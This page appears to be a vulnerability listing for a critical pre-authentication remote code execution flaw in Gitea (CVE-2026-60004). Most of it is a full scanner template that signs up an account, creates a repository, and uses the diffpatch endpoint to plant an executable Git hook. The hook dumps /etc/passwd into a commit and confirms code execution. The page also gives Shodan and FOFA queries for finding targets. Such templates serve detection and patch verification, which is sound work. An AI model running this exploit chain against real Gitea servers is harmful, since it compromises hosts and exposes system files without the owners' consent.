Gitea <= 1.27.0 - Pre-Auth Remote Code Execution
CVE-2026-60004
Verified
Description
Gitea versions 1.17 through 1.27.0 contain a remote code execution vulnerability in the diffpatch endpoint caused by an add/add collision that writes an executable Git hook into the bare repository's GIT_DIR. An attacker with write access can execute arbitrary commands as the Gitea service account, exploit requires only open registration for unauthenticated access.
Severity
Critical
CVSS Score
9.8
Exploit Probability
82%
Affected Product
gitea
Published Date
August 3, 2026
Template Author
0x_akoko
CVE-2026-60004.yaml
id: CVE-2026-60004
info:
name: Gitea <= 1.27.0 - Pre-Auth Remote Code Execution
author: 0x_Akoko
severity: critical
description: |
Gitea versions 1.17 through 1.27.0 contain a remote code execution vulnerability in the diffpatch endpoint caused by an add/add collision that writes an executable Git hook into the bare repository's GIT_DIR. An attacker with write access can execute arbitrary commands as the Gitea service account, exploit requires only open registration for unauthenticated access.
impact: |
Attackers can execute arbitrary commands as the Gitea service account, potentially compromising the entire server and all hosted repositories.
remediation: |
Update to Gitea version 1.27.1 or later.
reference:
- https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m
- https://github.com/EQSTLab/CVE-2026-60004
- https://nvd.nist.gov/vuln/detail/CVE-2026-60004
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-60004
epss-score: 0.824
epss-percentile: 0.99637
cwe-id: CWE-94
metadata:
max-request: 9
verified: true
vendor: go-gitea
product: gitea
shodan-query: "Gitea"
fofa-query: app="Gitea"
tags: cve,cve2026,gitea,rce,intrusive,kev,vkev
variables:
ruser: "testpoc{{rand_int(10000,99999)}}"
rpass: "T3stP0c!{{rand_int(10000,99999)}}"
remail: "testpoc{{rand_int(10000,99999)}}@test.local"
rrepo: "poc-{{rand_int(10000,99999)}}"
flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)
http:
- raw:
- |
GET /user/sign_up HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "user_name") || contains(body, "sign_up")'
condition: and
internal: true
extractors:
- type: regex
name: csrf
part: body
group: 1
regex:
- 'name="_csrf"\s+content="([^"]+)"'
- 'name="_csrf"\s+value="([^"]+)"'
internal: true
- raw:
- |
POST /user/sign_up HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_csrf={{csrf}}&user_name={{ruser}}&email={{remail}}&password={{rpass}}&retype={{rpass}}
redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 302 || status_code == 303'
internal: true
- raw:
- |
POST /api/v1/user/repos HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept: application/json
Authorization: Basic {{base64(ruser + ":" + rpass)}}
{"name":"{{rrepo}}","private":true,"auto_init":true,"default_branch":"main"}
matchers:
- type: dsl
dsl:
- 'status_code == 201'
internal: true
- raw:
- |
GET /api/v1/repos/{{ruser}}/{{rrepo}}/branches/main HTTP/1.1
Host: {{Hostname}}
Accept: application/json
Authorization: Basic {{base64(ruser + ":" + rpass)}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'len(branch_sha) > 0'
condition: and
internal: true
extractors:
- type: json
name: branch_sha
json:
- '.commit.id'
internal: true
- raw:
- |
POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept: application/json
Authorization: Basic {{base64(ruser + ":" + rpass)}}
{"content": "diff --git a/hooks/post-index-change b/hooks/post-index-change\nnew file mode 100755\nindex 0000000000000000000000000000000000000000..c205f89dc5a73d8094236a8ef700126084893a73\n--- /dev/null\n+++ b/hooks/post-index-change\n@@ -0,0 +1,14 @@\n+#!/bin/sh\n+git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n+origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\n+case \"$origin_objects\" in\n+ /*) ;;\n+ *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\n+esac\n+origin_git=${origin_objects%/objects}\n+[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\n+output_blob=$(cat /etc/passwd 2>&1 | git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\n+tree=$(printf \"100644 blob %s\\\\tproof\\\\n\" \"$output_blob\" | git --git-dir=\"$origin_git\" mktree) || exit 5\n+commit=$(printf \"rce proof\\\\n\" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\n+git --git-dir=\"$origin_git\" update-ref refs/heads/rce-proof \"$commit\" || exit 7\n+exit 0\n", "message": "apply-1", "branch": "main", "sha": "{{branch_sha}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 201'
- 'len(commit_sha1) > 0'
condition: and
internal: true
extractors:
- type: json
name: commit_sha1
json:
- '.commit.sha'
internal: true
- raw:
- |
POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept: application/json
Authorization: Basic {{base64(ruser + ":" + rpass)}}
{"content": "diff --git a/hooks/post-index-change b/hooks/post-index-change\nnew file mode 100755\nindex 0000000000000000000000000000000000000000..c205f89dc5a73d8094236a8ef700126084893a73\n--- /dev/null\n+++ b/hooks/post-index-change\n@@ -0,0 +1,14 @@\n+#!/bin/sh\n+git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n+origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\n+case \"$origin_objects\" in\n+ /*) ;;\n+ *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\n+esac\n+origin_git=${origin_objects%/objects}\n+[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\n+output_blob=$(cat /etc/passwd 2>&1 | git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\n+tree=$(printf \"100644 blob %s\\\\tproof\\\\n\" \"$output_blob\" | git --git-dir=\"$origin_git\" mktree) || exit 5\n+commit=$(printf \"rce proof\\\\n\" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\n+git --git-dir=\"$origin_git\" update-ref refs/heads/rce-proof \"$commit\" || exit 7\n+exit 0\n", "message": "apply-2", "branch": "main", "sha": "{{commit_sha1}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 201'
internal: true
- raw:
- |
GET /api/v1/repos/{{ruser}}/{{rrepo}}/raw/proof?ref=rce-proof HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64(ruser + ":" + rpass)}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "root:")'
condition: and
extractors:
- type: dsl
dsl:
- '"CVE-2026-60004 RCE | Gitea | /etc/passwd: " + body'
# digest: 4a0a0047304502205581b97c37fcbcf523f866c9718290a24f0a3a9fa60e2076246fa2c6863fcaa6022100b1cdd5b61d1c1ae0a007f7f1d4bdfec6b8ba594bb105e2153fb18bdc37ba5175:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-60004
CWE ID:
cwe-94
Remediation Steps
Update to Gitea version 1.27.1 or later.